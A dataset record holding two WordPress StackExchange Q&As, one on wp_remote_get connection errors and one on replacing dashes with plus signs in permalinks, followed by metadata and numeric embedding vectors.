The output can be seen on the homepage, beneath the sliders on the home page. You can see what should be rendered by the php file under the error code by looking at the Circles below (http://www.toucan-it.co.uk)
object(WP_Error)#337 (2) { ["errors"]=> array(1) { ["http_request_failed"]=> array(1) { [0]=> string(24) "couldn't connect to host" } } ["error_data"]=> array(0) { } }
A: Try to increase the timeout (default is 5).
$response = wp_remote_get( 'http://www.toucan-it.co.uk/wp-content/themes/squash/index5.html', array( 'timeout' => 120, 'httpversion' => '1.1' ) );
|
Q: wp_remote_get returns an error for valid URL I currently have the following snippet of php to fetch some HTML and render it in my theme(squash theme).
<?php $response = wp_remote_get( 'http://www.toucan-it.co.uk/wp-content/themes/squash/index5.html' );
print $response ['body']; ?>
The file I'm trying to request is available at the following URL.
http://www.toucan-it.co.uk/wp-content/themes/squash/index5.html
Problem
The problem is when trying to retrieve ‘index5.html’ via the web browser the output of the file is generated but when calling it via ‘wp_remote_get’ using either absolute or relative paths an error is displayed.
When doing a var_dump of $response
The output can be seen on the homepage, beneath the sliders on the home page. You can see what should be rendered by the php file under the error code by looking at the Circles below (http://www.toucan-it.co.uk)
object(WP_Error)#337 (2) { ["errors"]=> array(1) { ["http_request_failed"]=> array(1) { [0]=> string(24) "couldn't connect to host" } } ["error_data"]=> array(0) { } }
A: Try to increase the timeout (default is 5).
$response = wp_remote_get( 'http://www.toucan-it.co.uk/wp-content/themes/squash/index5.html', array( 'timeout' => 120, 'httpversion' => '1.1' ) );
|
wordpress
|
{
"language": "en",
"length": 173,
"provenance": "stackexchange_00019.jsonl.gz:436811",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/113313"
}
|
[
0.032470703125,
-0.0233612060546875,
-0.004360198974609375,
-0.0098876953125,
-0.0228729248046875,
-0.0178375244140625,
0.0272369384765625,
-0.0025196075439453125,
-0.00226593017578125,
-0.0035266876220703125,
-0.0031223297119140625,
0.005352020263671875,
-0.057281494140625,
-0.04388427734375,
0.0090179443359375,
-0.0286712646484375,
0.041748046875,
-0.029632568359375,
0.0173797607421875,
-0.00868988037109375,
0.0104827880859375,
0.0186004638671875,
0.02197265625,
0.0302581787109375,
-0.0082855224609375,
-0.0157470703125,
0.057952880859375,
-0.0191497802734375,
-0.01319122314453125,
-0.026580810546875,
0.002155303955078125,
-0.006160736083984375,
0.028839111328125,
0.052276611328125,
-0.0906982421875,
-0.0693359375,
0.0128326416015625,
0.0012378692626953125,
-0.061248779296875,
0.0672607421875,
0.005649566650390625,
0.002117156982421875,
0.021697998046875,
0.0308380126953125,
-0.02105712890625,
-0.0189208984375,
-0.00550079345703125,
-0.03228759765625,
-0.026611328125,
0.04534912109375,
0.0309906005859375,
0.0013408660888671875,
0.0234832763671875,
0.036773681640625,
0.005062103271484375,
-0.00881195068359375,
0.0101470947265625,
0.0285797119140625,
0.0141143798828125,
-0.06524658203125,
-0.048248291015625,
0.01934814453125,
0.034027099609375,
0.05322265625,
-0.0227203369140625,
-0.00919342041015625,
-0.001583099365234375,
0.03387451171875,
0.006114959716796875,
-0.01824951171875,
0.00794219970703125,
0.0302734375,
0.007457733154296875,
-0.005077362060546875,
-0.034210205078125,
-0.03985595703125,
0.0003342628479003906,
-0.05535888671875,
0.0284423828125,
0.0160980224609375,
0.0086669921875,
-0.0557861328125,
-0.0287628173828125,
0.0086212158203125,
-0.00926971435546875,
0.0183563232421875,
0.0053863525390625,
-0.014801025390625,
-0.049041748046875,
-0.02447509765625,
-0.036224365234375,
-0.044281005859375,
-0.0379638671875,
-0.0127410888671875,
-0.0012426376342773438,
-0.03369140625,
-0.01393890380859375,
-0.022918701171875,
0.024444580078125,
0.0263824462890625,
0.0057525634765625,
-0.0224761962890625,
0.0341796875,
-0.019927978515625,
-0.015655517578125,
0.006343841552734375,
0.0015935897827148438,
-0.0108184814453125,
0.040557861328125,
0.026458740234375,
0.0028018951416015625,
0.07427978515625,
0.0028858184814453125,
-0.0286712646484375,
-0.04327392578125,
-0.0086822509765625,
-0.0357666015625,
-0.025238037109375,
0.0225677490234375,
-0.03314208984375,
-0.003326416015625,
0.0260009765625,
-0.0261688232421875,
0.0277862548828125,
-0.010833740234375,
0.015655517578125,
0.008758544921875,
-0.0236053466796875,
-0.007389068603515625,
0.058502197265625,
-0.03436279296875,
-0.001674652099609375,
0.0033550262451171875,
-0.0210723876953125,
-0.032196044921875,
-0.0204925537109375,
0.0338134765625,
0.01473236083984375,
-0.0017042160034179688,
0.00798797607421875,
0.0212860107421875,
-0.027435302734375,
-0.0135345458984375,
0.00379180908203125,
-0.0306854248046875,
-0.01204681396484375,
0.033447265625,
0.04437255859375,
-0.0185699462890625,
-0.0472412109375,
0.02557373046875,
0.006153106689453125,
0.0222625732421875,
0.0089111328125,
0.0207672119140625,
-0.0401611328125,
0.08258056640625,
-0.06427001953125,
-0.015594482421875,
-0.05804443359375,
0.022491455078125,
0.004058837890625,
-0.004909515380859375,
-0.0206451416015625,
-0.0309295654296875,
-0.01509857177734375,
-0.0188140869140625,
-0.0002104043960571289,
0.0271759033203125,
0.05865478515625,
-0.010223388671875,
-0.057891845703125,
0.0204010009765625,
0.03125,
-0.00722503662109375,
0.05194091796875,
-0.0007090568542480469,
0.034332275390625,
0.0128631591796875,
0.017333984375,
0.016815185546875,
-0.0310821533203125,
0.0460205078125,
0.0027904510498046875,
-0.030242919921875,
0.0386962890625,
0.006622314453125,
0.06512451171875,
0.006809234619140625,
0.01076507568359375,
-0.0384521484375,
0.0197296142578125,
-0.005828857421875,
0.0305633544921875,
-0.007114410400390625,
-0.045318603515625,
-0.03466796875,
-0.0162811279296875,
-0.0190277099609375,
0.029571533203125,
0.0070953369140625,
-0.025970458984375,
0.032928466796875,
-0.0002567768096923828,
-0.041717529296875,
0.0004458427429199219,
-0.0282135009765625,
0.0235748291015625,
0.03228759765625,
0.00904083251953125,
0.00457763671875,
0.04052734375,
-0.01023101806640625,
-0.047027587890625,
-0.047943115234375,
0.01727294921875,
-0.061859130859375,
0.022186279296875,
-0.032012939453125,
0.0297698974609375,
-0.0275726318359375,
-0.017578125,
-0.01629638671875,
-0.0321044921875,
0.018768310546875,
0.01303863525390625,
-0.02972412109375,
0.005008697509765625,
0.030853271484375,
0.0016641616821289062,
0.04150390625,
0.033233642578125,
0.026397705078125,
0.027557373046875,
-0.0250244140625,
-0.006557464599609375,
0.017425537109375,
-0.02679443359375,
0.0213775634765625,
0.031829833984375,
0.07244873046875,
0.006542205810546875,
0.0038909912109375,
-0.06121826171875,
-0.009735107421875,
-0.1436767578125,
-0.005565643310546875,
-0.032318115234375,
-0.0205078125,
-0.0169219970703125,
0.031280517578125,
-0.0113372802734375,
0.029876708984375,
-0.03399658203125,
-0.0177764892578125,
0.0297393798828125,
-0.004791259765625,
0.02490234375,
-0.060455322265625,
0.029876708984375,
-0.004695892333984375,
-0.027679443359375,
-0.014678955078125,
-0.024444580078125,
0.0054473876953125,
-0.029571533203125,
-0.00525665283203125,
-0.0259552001953125,
-0.00787353515625,
-0.0230712890625,
0.007221221923828125,
-0.03863525390625,
-0.0169219970703125,
0.04058837890625,
0.059906005859375,
0.01021575927734375,
-0.01084136962890625,
-0.0251007080078125,
0.0021209716796875,
0.031524658203125,
-0.036865234375,
0.0158233642578125,
0.01071929931640625,
-0.0007863044738769531,
-0.0222930908203125,
-0.046142578125,
0.0272979736328125,
0.00527191162109375,
0.0753173828125,
0.07318115234375,
0.07244873046875,
0.023651123046875,
0.006473541259765625,
0.053131103515625,
-0.006809234619140625,
-0.0010776519775390625,
0.036651611328125,
-0.0211334228515625,
0.0182647705078125,
-0.006031036376953125,
0.047698974609375,
0.04852294921875,
-0.0009832382202148438,
-0.01198577880859375,
0.0186767578125,
-0.019775390625,
0.01983642578125,
0.005481719970703125,
-0.0017833709716796875,
0.007198333740234375,
-0.0660400390625,
-0.022796630859375,
0.026763916015625,
-0.021087646484375,
0.00022602081298828125,
-0.0252532958984375,
-0.0172576904296875,
0.00189208984375,
-0.13232421875,
-0.1292724609375,
0.048583984375,
-0.0438232421875,
0.0164794921875,
-0.02618408203125,
-0.02752685546875,
-0.0428466796875,
-0.0013971328735351562,
-0.00920867919921875,
-0.002124786376953125,
-0.0258636474609375,
-0.102294921875,
-0.06280517578125,
-0.10455322265625,
0.0012960433959960938,
-0.015869140625,
0.011749267578125,
-0.0066986083984375,
0.030792236328125,
0.002651214599609375,
-0.005321502685546875,
-0.009002685546875,
0.046630859375,
0.01392364501953125,
-0.056365966796875,
-0.01055908203125,
-0.01258087158203125,
-0.0175933837890625,
-0.0157928466796875,
0.0257415771484375,
0.0030918121337890625,
0.00652313232421875,
-0.0083465576171875,
-0.0203094482421875,
-0.009613037109375,
0.00246429443359375,
0.01007080078125,
0.0163421630859375,
-0.035980224609375,
-0.01239776611328125,
-0.058624267578125,
-0.01617431640625,
-0.0174102783203125,
-0.033660888671875,
0.052642822265625,
0.012359619140625,
-0.00146484375,
0.009033203125,
0.0245819091796875,
-0.02020263671875,
-0.049285888671875,
0.055084228515625,
-0.047088623046875,
0.00934600830078125,
-0.024566650390625,
-0.0253448486328125,
-0.0285186767578125,
0.06707763671875,
0.0084991455078125,
-0.03936767578125,
0.010986328125,
0.002410888671875,
-0.0306243896484375,
-0.00174713134765625,
-0.0828857421875,
-0.039031982421875,
0.043121337890625,
-0.02557373046875,
0.00249481201171875,
-0.025909423828125,
-0.01558685302734375,
-0.00905609130859375,
0.07379150390625,
-0.01540374755859375,
-0.0288238525390625,
-0.00034308433532714844,
0.0374755859375,
-0.0400390625,
-0.058258056640625,
0.011932373046875,
-0.0079498291015625,
-0.038665771484375,
0.0078125,
-0.0196685791015625,
0.00750732421875,
0.030029296875,
-0.0288848876953125,
0.03314208984375,
-0.056304931640625,
0.0152435302734375,
0.048004150390625,
0.0005269050598144531,
0.00926971435546875,
0.01056671142578125,
-0.01001739501953125,
0.00502777099609375,
0.006565093994140625,
-0.03759765625,
-0.025665283203125,
0.020111083984375,
0.03106689453125,
0.006305694580078125,
-0.0244140625,
0.0004303455352783203,
0.04791259765625,
0.007602691650390625,
0.00867462158203125,
0.0127410888671875,
-0.01253509521484375,
0.01202392578125,
-0.0007343292236328125,
0.0122833251953125,
-0.007221221923828125,
-0.0213775634765625,
-0.015716552734375,
-0.0205230712890625,
-0.037506103515625,
-0.00506591796875,
-0.05450439453125,
0.032562255859375,
-0.0289764404296875,
-0.049041748046875,
0.0035858154296875,
-0.006145477294921875,
-0.0081787109375,
0.0210113525390625,
-0.04779052734375,
0.00792694091796875,
-0.061920166015625,
0.01555633544921875,
-0.0240631103515625,
-0.0179290771484375,
0.0021114349365234375,
0.05029296875,
0.0280609130859375,
-0.00756072998046875,
0.01264190673828125,
-0.0119476318359375,
0.0267486572265625,
0.0165863037109375,
0.0390625,
0.041412353515625,
-0.0290985107421875,
0.03375244140625,
0.01434326171875,
0.0280303955078125,
0.00782012939453125,
0.0005903244018554688,
0.0191650390625,
-0.00853729248046875,
0.015655517578125,
0.045989990234375,
-0.05426025390625,
-0.0017538070678710938,
-0.04400634765625,
0.04931640625,
0.034881591796875,
-0.014892578125,
-0.0531005859375,
0.01183319091796875,
0.003204345703125,
-0.026336669921875,
0.00457000732421875,
-0.0303802490234375,
0.051605224609375,
0.007232666015625,
0.0109100341796875,
-0.0140838623046875,
-0.001434326171875,
-0.008758544921875,
-0.0149688720703125,
0.00862884521484375,
-0.0171661376953125,
0.0099334716796875,
0.00958251953125,
-0.0265655517578125,
-0.007740020751953125,
-0.0028018951416015625,
0.0118865966796875,
0.00977325439453125,
-0.034759521484375,
-0.0234375,
0.01297760009765625,
0.0013217926025390625,
-0.0020046234130859375,
-0.0029697418212890625,
-0.0234832763671875,
-0.0171051025390625,
-0.006168365478515625,
0.005992889404296875,
0.0162506103515625,
-0.01351165771484375,
0.00492095947265625,
0.02081298828125,
0.001911163330078125,
-0.01043701171875,
-0.01245880126953125,
0.061279296875,
0.004390716552734375,
0.04107666015625,
-0.007610321044921875,
-0.01026153564453125,
0.0117340087890625,
0.0185089111328125,
0.033599853515625,
-0.00661468505859375,
0.00012445449829101562,
-0.00244903564453125,
0.0191650390625,
-0.03277587890625,
-0.0272979736328125,
0.044189453125,
0.036834716796875,
-0.0261383056640625,
-0.01959228515625,
0.0107269287109375,
-0.0019283294677734375,
-0.035369873046875,
0.07061767578125,
0.0213470458984375,
-0.016387939453125,
-0.0703125,
-0.03900146484375,
0.0452880859375,
0.01505279541015625,
0.01523590087890625,
-0.0022640228271484375,
0.033294677734375,
0.019866943359375,
0.035614013671875,
-0.020172119140625,
0.0026416778564453125,
0.0020694732666015625,
0.005168914794921875,
-0.03314208984375,
-0.02227783203125,
-0.0487060546875,
0.00899505615234375,
-0.014190673828125,
-0.0007901191711425781,
0.05865478515625,
-0.056884765625,
-0.0005650520324707031,
-0.047271728515625,
0.05621337890625,
-0.1204833984375,
0.0036773681640625,
0.04559326171875,
0.055572509765625,
-0.0307769775390625,
0.006988525390625,
-0.0270538330078125,
-0.013885498046875,
0.0711669921875,
0.01340484619140625,
-0.02032470703125,
-0.0362548828125,
-0.004932403564453125,
0.0046844482421875,
0.00659942626953125,
0.00984954833984375,
-0.0241546630859375,
0.0266571044921875,
0.004032135009765625,
0.0177001953125,
-0.0226898193359375,
-0.0010557174682617188,
0.016143798828125,
-0.00389862060546875,
0.0102691650390625,
-0.001117706298828125,
0.0077056884765625,
-0.01922607421875,
0.007717132568359375,
-0.039459228515625,
-0.0159912109375,
-0.00308990478515625,
-0.0185546875,
0.007747650146484375,
0.03424072265625,
-0.0026092529296875,
-0.002880096435546875,
-0.04156494140625,
-0.0079803466796875,
-0.01262664794921875,
0.05523681640625,
-0.0273590087890625,
-0.014678955078125,
0.00920867919921875,
-0.03326416015625,
-0.0215606689453125,
-0.015380859375,
-0.01062774658203125,
0.02978515625,
-0.0177154541015625,
-0.0020198822021484375,
0.0401611328125,
0.0237884521484375,
0.0198516845703125,
0.07391357421875,
-0.00927734375,
0.062469482421875,
0.038330078125,
0.0107574462890625,
0.04913330078125,
0.054534912109375,
-0.0018186569213867188,
-0.05963134765625,
-0.027313232421875,
-0.007598876953125,
-0.01016998291015625,
-0.055816650390625,
-0.0173187255859375,
0.0013608932495117188,
0.0222015380859375,
0.026275634765625,
-0.0242156982421875,
-0.00353240966796875,
0.0016841888427734375,
-0.036102294921875,
-0.01479339599609375,
0.00484466552734375,
-0.0127105712890625,
-0.053558349609375,
0.0171661376953125,
0.01434326171875,
0.00717926025390625,
-0.01036834716796875,
-0.006744384765625,
0.0114288330078125,
-0.00848388671875,
0.0703125,
0.006595611572265625,
-0.0548095703125,
-0.0194549560546875,
0.0238494873046875,
-0.0244598388671875,
0.03216552734375,
0.01139068603515625,
0.005962371826171875,
-0.040191650390625,
-0.042633056640625,
-0.0250701904296875,
-0.03125,
-0.0450439453125,
0.0025787353515625,
0.00579833984375,
-0.008941650390625,
0.038299560546875,
-0.049560546875,
0.02630615234375,
0.0254669189453125,
-0.0226287841796875,
0.07000732421875,
-0.001956939697265625,
-0.033172607421875,
0.01117706298828125,
-0.0091552734375,
-0.020599365234375,
-0.00453948974609375,
0.01739501953125,
0.005828857421875,
0.00470733642578125,
0.05926513671875,
-0.007633209228515625,
-0.01348114013671875,
0.05426025390625,
-0.040313720703125,
-0.0482177734375,
-0.0026264190673828125,
0.076416015625,
-0.07855224609375,
-0.030487060546875,
0.0245361328125,
0.00012385845184326172,
-0.039825439453125,
-0.01084136962890625,
-0.034515380859375,
0.0618896484375,
-0.0552978515625,
0.0360107421875,
0.0372314453125,
0.02130126953125,
-0.024566650390625,
-0.0154266357421875,
-0.037933349609375,
0.053466796875,
0.0205841064453125,
-0.0243072509765625,
-0.04144287109375,
-0.00012290477752685547,
-0.02685546875,
-0.00004416704177856445,
0.00598907470703125,
-0.00196075439453125,
-0.03125,
-0.0294036865234375,
0.004238128662109375,
-0.0156707763671875,
-0.01247406005859375,
0.058013916015625,
0.004150390625,
0.02093505859375,
0.014190673828125,
-0.047454833984375,
0.025146484375,
-0.0226287841796875,
-0.01299285888671875,
0.014678955078125,
-0.007358551025390625,
-0.051025390625,
0.0132293701171875,
0.02581787109375,
-0.10308837890625,
0.0257720947265625,
0.061981201171875,
-0.0110321044921875,
-0.00005739927291870117,
0.0098724365234375,
-0.01290130615234375,
-0.00014162063598632812,
-0.00511932373046875,
-0.0290679931640625,
0.01531982421875,
-0.01702880859375,
-0.03717041015625,
0.006420135498046875,
0.01415252685546875,
0.03619384765625,
-0.042999267578125,
-0.029449462890625,
-0.0010271072387695312,
0.0213775634765625,
0.042236328125,
0.0098114013671875,
0.0124969482421875,
-0.014617919921875,
0.040924072265625,
0.02032470703125,
0.04376220703125,
-0.049896240234375,
-0.0230560302734375,
0.005321502685546875,
0.018463134765625,
0.02056884765625,
0.012847900390625,
0.0445556640625,
0.00907135009765625,
0.0202178955078125,
-0.0345458984375,
-0.0011205673217773438,
0.035400390625,
0.006439208984375,
-0.002849578857421875,
-0.004383087158203125,
-0.00768280029296875,
-0.01409149169921875,
-0.002147674560546875,
-0.0001283884048461914,
0.0081787109375,
0.039642333984375,
0.006153106689453125,
0.0228271484375,
-0.0609130859375,
-0.007602691650390625,
0.0141448974609375,
0.00620269775390625,
-0.0009551048278808594,
-0.00560760498046875,
-0.004055023193359375,
-0.0158843994140625,
0.027740478515625,
0.0146026611328125,
-0.0111083984375,
-0.01059722900390625,
0.044342041015625,
0.0225067138671875,
-0.07122802734375,
-0.023895263671875,
0.0239410400390625,
-0.0255889892578125,
0.01171112060546875,
-0.001476287841796875,
-0.037628173828125,
0.004077911376953125,
-0.0220947265625,
-0.0068511962890625,
-0.00922393798828125,
0.018829345703125,
-0.00472259521484375,
0.09417724609375,
-0.01152801513671875,
0.044525146484375,
0.0185699462890625,
-0.037841796875,
0.012054443359375,
0.01256561279296875,
-0.10089111328125,
-0.0206451416015625,
-0.00009387731552124023,
0.0188140869140625,
0.00273895263671875,
0.0281982421875,
-0.000926971435546875,
0.023651123046875,
0.042938232421875,
-0.0272369384765625,
-0.001804351806640625,
0.037567138671875,
-0.00043010711669921875,
0.01139068603515625,
0.0310516357421875,
0.0020313262939453125,
-0.044342041015625,
-0.01473236083984375,
-0.0233612060546875,
0.029815673828125,
-0.0011644363403320312,
0.1085205078125,
-0.037384033203125,
0.00719451904296875,
-0.003814697265625,
-0.01385498046875,
0.00931549072265625,
0.02008056640625,
-0.00443267822265625,
0.0014505386352539062,
-0.01512908935546875,
-0.0278778076171875,
-0.042877197265625,
0.0201873779296875,
-0.0025806427001953125,
-0.016876220703125,
0.0178375244140625,
-0.040679931640625,
0.0217742919921875,
0.0203857421875,
0.002838134765625,
-0.01110076904296875,
-0.0233154296875,
-0.00623321533203125,
0.03009033203125,
0.0297088623046875,
0.07342529296875,
-0.033294677734375,
0.0124359130859375,
-0.015167236328125,
-0.0093536376953125,
0.01233673095703125,
0.0004858970642089844,
0.0246734619140625,
0.0250091552734375,
-0.039642333984375,
0.00685882568359375,
-0.077880859375,
-0.032928466796875,
0.0157318115234375,
-0.034271240234375,
-0.005031585693359375,
-0.0210113525390625,
0.051025390625,
0.040283203125,
-0.0242156982421875,
-0.0090789794921875,
-0.0352783203125,
-0.03082275390625,
0.03448486328125,
0.018524169921875,
-0.018218994140625,
-0.005138397216796875,
-0.006633758544921875,
-0.028289794921875,
0.006378173828125,
0.0029277801513671875,
0.0233917236328125,
-0.0034198760986328125,
0.0655517578125,
-0.028289794921875,
0.00777435302734375,
0.00832366943359375,
-0.045806884765625,
0.01013946533203125,
0.0111541748046875,
0.028839111328125,
-0.03369140625,
0.0277862548828125,
0.0031833648681640625,
0.036468505859375,
-0.055938720703125,
-0.0035724639892578125,
0.004123687744140625,
-0.0033416748046875,
-0.01195526123046875,
-0.00041866302490234375,
0.0638427734375,
-0.0034580230712890625,
-0.04248046875,
-0.0223388671875,
-0.032928466796875,
0.0110626220703125,
-0.07373046875,
0.0239105224609375,
0.06072998046875,
-0.017974853515625,
-0.07672119140625,
-0.06842041015625,
0.0143585205078125,
-0.0521240234375,
-0.01007843017578125,
-0.005260467529296875,
0.007686614990234375,
0.01543426513671875,
-0.027618408203125,
-0.04632568359375,
-0.0034999847412109375,
0.0011138916015625,
-0.035003662109375,
-0.058319091796875,
-0.023895263671875,
0.002590179443359375,
0.01299285888671875,
-0.0252685546875,
-0.023956298828125,
-0.0391845703125,
0.053131103515625,
0.0155181884765625,
0.021820068359375,
0.046051025390625,
-0.00803375244140625,
-0.02154541015625,
-0.01446533203125,
-0.009063720703125,
0.01122283935546875,
-0.054962158203125,
0.038726806640625,
-0.025360107421875,
-0.004573822021484375,
-0.01245880126953125,
0.0235443115234375,
0.0280303955078125,
0.0107574462890625,
-0.0007939338684082031,
-0.01079559326171875,
-0.0254058837890625,
0.0017833709716796875,
0.0279083251953125,
0.03570556640625,
-0.0012187957763671875,
-0.0211944580078125,
-0.045135498046875,
-0.06439208984375,
-0.041656494140625,
-0.03558349609375,
0.044158935546875,
-0.1138916015625,
-0.00572967529296875,
0.01198577880859375,
-0.007617950439453125,
-0.0061187744140625,
-0.0273284912109375,
-0.025726318359375,
-0.0016851425170898438,
0.0082550048828125,
0.0075531005859375,
0.003353118896484375,
-0.01065826416015625,
0.08258056640625,
-0.044219970703125,
0.0291748046875,
-0.0139923095703125,
0.02984619140625,
0.060394287109375,
-0.031524658203125,
-0.052581787109375,
0.0142364501953125,
-0.023834228515625,
0.003631591796875,
-0.021331787109375,
0.012603759765625,
-0.025177001953125,
0.018310546875,
0.01203155517578125,
0.0118865966796875,
-0.0240631103515625,
-0.0108642578125,
0.005397796630859375,
0.00865936279296875,
-0.0330810546875,
0.045440673828125,
-0.03546142578125,
-0.004810333251953125,
-0.01412200927734375,
0.0025539398193359375,
-0.0169830322265625,
0.0085906982421875,
0.037506103515625,
-0.0199737548828125,
0.0212249755859375,
0.01198577880859375,
0.028564453125,
0.000023186206817626953,
0.0364990234375,
0.002197265625,
-0.004604339599609375,
0.0033092498779296875
] |
9fdd9fbd4627c4a325f8c7ae13132f2a3dd2d4a6
|
Wordpress Stackexchange
Q: Using plus (+) sign instead of space (-) in WordPress URL How to change space (-) sign to plus (+) sign in clean URL WordPress?
Like:
http://www.whitelotuscorporation.co.in/anax_wp/about-us/
to:
http://www.whitelotuscorporation.co.in/anax_wp/about+us/
You can see where the change need to be done— about+us instead of about-us in the URL.
A: This isn't possible without modifying a core file. The function WordPress uses for this is called sanitize_title_with_dashes You can find it in wp-includes/formatting.php on
It doesn't offer any filters, so you will need to make a change to this line:
$title = str_replace( array( '%c2%a0', '%e2%80%93', '%e2%80%94' ), '-', $title );
I wouldn't recommend modifying core WordPress files at all, so if you do this, be sure to try it out on a test site before implementing it - and even then make sure you have everything backed up.
|
Q: Using plus (+) sign instead of space (-) in WordPress URL How to change space (-) sign to plus (+) sign in clean URL WordPress?
Like:
http://www.whitelotuscorporation.co.in/anax_wp/about-us/
to:
http://www.whitelotuscorporation.co.in/anax_wp/about+us/
You can see where the change need to be done— about+us instead of about-us in the URL.
A: This isn't possible without modifying a core file. The function WordPress uses for this is called sanitize_title_with_dashes You can find it in wp-includes/formatting.php on
It doesn't offer any filters, so you will need to make a change to this line:
$title = str_replace( array( '%c2%a0', '%e2%80%93', '%e2%80%94' ), '-', $title );
I wouldn't recommend modifying core WordPress files at all, so if you do this, be sure to try it out on a test site before implementing it - and even then make sure you have everything backed up.
A: Add the following to your .htaccess file in between the <IfModule mod_rewrite.c> tags that were created by WordPress:
RewriteCond %{HTTP_HOST}
RewriteRule ^(.*)-(.*)$ $1+$2 [R=301]
This has been tested and verified using the htaccess tester.
|
wordpress
|
{
"language": "en",
"length": 172,
"provenance": "stackexchange_00019.jsonl.gz:436817",
"question_score": "4",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/113323"
}
|
[
0.028533935546875,
-0.0233001708984375,
-0.0294342041015625,
-0.0286102294921875,
0.0042877197265625,
-0.048431396484375,
0.051025390625,
0.0084686279296875,
0.02587890625,
0.0080413818359375,
-0.0010061264038085938,
0.00835418701171875,
-0.039459228515625,
-0.032501220703125,
-0.003017425537109375,
-0.004451751708984375,
0.01424407958984375,
-0.045440673828125,
-0.022979736328125,
-0.041015625,
0.0305938720703125,
-0.0455322265625,
-0.020721435546875,
0.00007724761962890625,
0.004322052001953125,
-0.05511474609375,
0.1334228515625,
-0.0253448486328125,
-0.003376007080078125,
-0.05377197265625,
0.0255126953125,
0.006145477294921875,
0.029144287109375,
0.01448822021484375,
0.0185699462890625,
0.047393798828125,
-0.01088714599609375,
0.0247802734375,
0.0240478515625,
0.0243072509765625,
0.0063323974609375,
-0.00004488229751586914,
0.003414154052734375,
-0.0221099853515625,
-0.0218505859375,
-0.036285400390625,
0.0159454345703125,
-0.0080108642578125,
0.0022487640380859375,
0.013580322265625,
0.0328369140625,
-0.0034427642822265625,
0.0560302734375,
0.0316162109375,
-0.0277862548828125,
-0.015960693359375,
-0.021270751953125,
-0.00164794921875,
0.006404876708984375,
0.031524658203125,
0.017822265625,
0.017730712890625,
-0.0102386474609375,
-0.0257110595703125,
-0.000015914440155029297,
0.0118255615234375,
-0.0025177001953125,
0.0167388916015625,
-0.047760009765625,
0.004055023193359375,
0.021148681640625,
-0.041656494140625,
-0.02252197265625,
0.0059051513671875,
-0.012969970703125,
0.006481170654296875,
-0.032623291015625,
-0.02362060546875,
0.03326416015625,
0.036956787109375,
0.0200653076171875,
-0.0106048583984375,
-0.0134735107421875,
-0.049224853515625,
0.032745361328125,
-0.01708984375,
-0.0010309219360351562,
0.0022945404052734375,
-0.025360107421875,
-0.03424072265625,
-0.019744873046875,
-0.029876708984375,
-0.03851318359375,
0.0217132568359375,
-0.01226043701171875,
-0.0157623291015625,
0.04107666015625,
0.0572509765625,
0.01812744140625,
0.0014390945434570312,
0.0140838623046875,
-0.03668212890625,
-0.01532745361328125,
-0.035430908203125,
0.002361297607421875,
0.0281219482421875,
0.0020503997802734375,
0.07818603515625,
0.06024169921875,
0.031707763671875,
0.007175445556640625,
-0.00606536865234375,
0.006153106689453125,
-0.0035648345947265625,
-0.039764404296875,
0.06744384765625,
0.005298614501953125,
-0.00833892822265625,
-0.01396942138671875,
0.053070068359375,
-0.0219573974609375,
0.0220184326171875,
-0.0007495880126953125,
0.0211944580078125,
-0.0191497802734375,
-0.0006461143493652344,
0.04278564453125,
-0.055633544921875,
-0.06427001953125,
0.043731689453125,
-0.016021728515625,
0.007793426513671875,
0.061187744140625,
0.022064208984375,
-0.019683837890625,
-0.035491943359375,
0.0204010009765625,
-0.046875,
-0.028350830078125,
0.0216522216796875,
-0.034881591796875,
-0.00449371337890625,
0.034454345703125,
-0.06756591796875,
0.051239013671875,
0.03448486328125,
0.0162200927734375,
-0.0004696846008300781,
0.005588531494140625,
-0.05584716796875,
0.0472412109375,
-0.0247802734375,
0.03436279296875,
0.022613525390625,
-0.039794921875,
-0.02099609375,
0.0287017822265625,
-0.035552978515625,
-0.016021728515625,
-0.057098388671875,
-0.017669677734375,
-0.023834228515625,
-0.017181396484375,
-0.0128936767578125,
-0.0177764892578125,
0.0305328369140625,
-0.007476806640625,
0.0028133392333984375,
0.013275146484375,
-0.0229339599609375,
0.01180267333984375,
-0.0015859603881835938,
-0.011444091796875,
-0.04296875,
-0.00997161865234375,
-0.012603759765625,
-0.045318603515625,
0.0750732421875,
0.01386260986328125,
0.0614013671875,
0.03509521484375,
-0.050018310546875,
0.054534912109375,
0.00711822509765625,
-0.01922607421875,
-0.0116424560546875,
0.033905029296875,
0.04229736328125,
-0.0022602081298828125,
0.0203704833984375,
0.04150390625,
0.006343841552734375,
-0.023406982421875,
-0.031005859375,
-0.016876220703125,
-0.0262603759765625,
0.0262908935546875,
-0.002010345458984375,
-0.019989013671875,
0.052459716796875,
0.01800537109375,
-0.009918212890625,
-0.006938934326171875,
-0.011810302734375,
-0.0233306884765625,
-0.0295867919921875,
0.0006132125854492188,
0.01837158203125,
-0.00135040283203125,
0.005481719970703125,
0.01548004150390625,
0.007083892822265625,
-0.0240936279296875,
-0.0164947509765625,
-0.04180908203125,
-0.0240020751953125,
0.046905517578125,
0.03167724609375,
0.028472900390625,
0.037689208984375,
0.028564453125,
0.037506103515625,
0.0002168416976928711,
0.0059051513671875,
0.028900146484375,
-0.057647705078125,
-0.01035308837890625,
-0.053375244140625,
-0.0094451904296875,
-0.058563232421875,
0.03338623046875,
0.1109619140625,
0.042510986328125,
0.043426513671875,
-0.026519775390625,
0.01270294189453125,
-0.008209228515625,
-0.00251007080078125,
-0.0175933837890625,
0.036163330078125,
0.0222625732421875,
0.009552001953125,
0.0008492469787597656,
0.0219573974609375,
-0.01256561279296875,
-0.01372528076171875,
0.038848876953125,
-0.004795074462890625,
-0.0030612945556640625,
0.04339599609375,
-0.0180206298828125,
-0.0062103271484375,
0.0247344970703125,
-0.057647705078125,
-0.04241943359375,
0.062469482421875,
-0.048248291015625,
-0.027099609375,
-0.015289306640625,
-0.0022563934326171875,
0.0009274482727050781,
-0.0142059326171875,
0.0024566650390625,
0.0008730888366699219,
-0.070068359375,
0.0196380615234375,
0.0013103485107421875,
0.0139617919921875,
-0.008270263671875,
-0.009185791015625,
0.033172607421875,
0.0269622802734375,
0.006683349609375,
0.0439453125,
-0.04083251953125,
0.01708984375,
0.024749755859375,
-0.0062713623046875,
-0.033447265625,
0.00199127197265625,
-0.028045654296875,
-0.006053924560546875,
-0.024505615234375,
-0.0219268798828125,
0.012725830078125,
-0.0273284912109375,
0.00027489662170410156,
-0.02996826171875,
0.01038360595703125,
-0.0197601318359375,
0.02545166015625,
-0.0026454925537109375,
-0.0106353759765625,
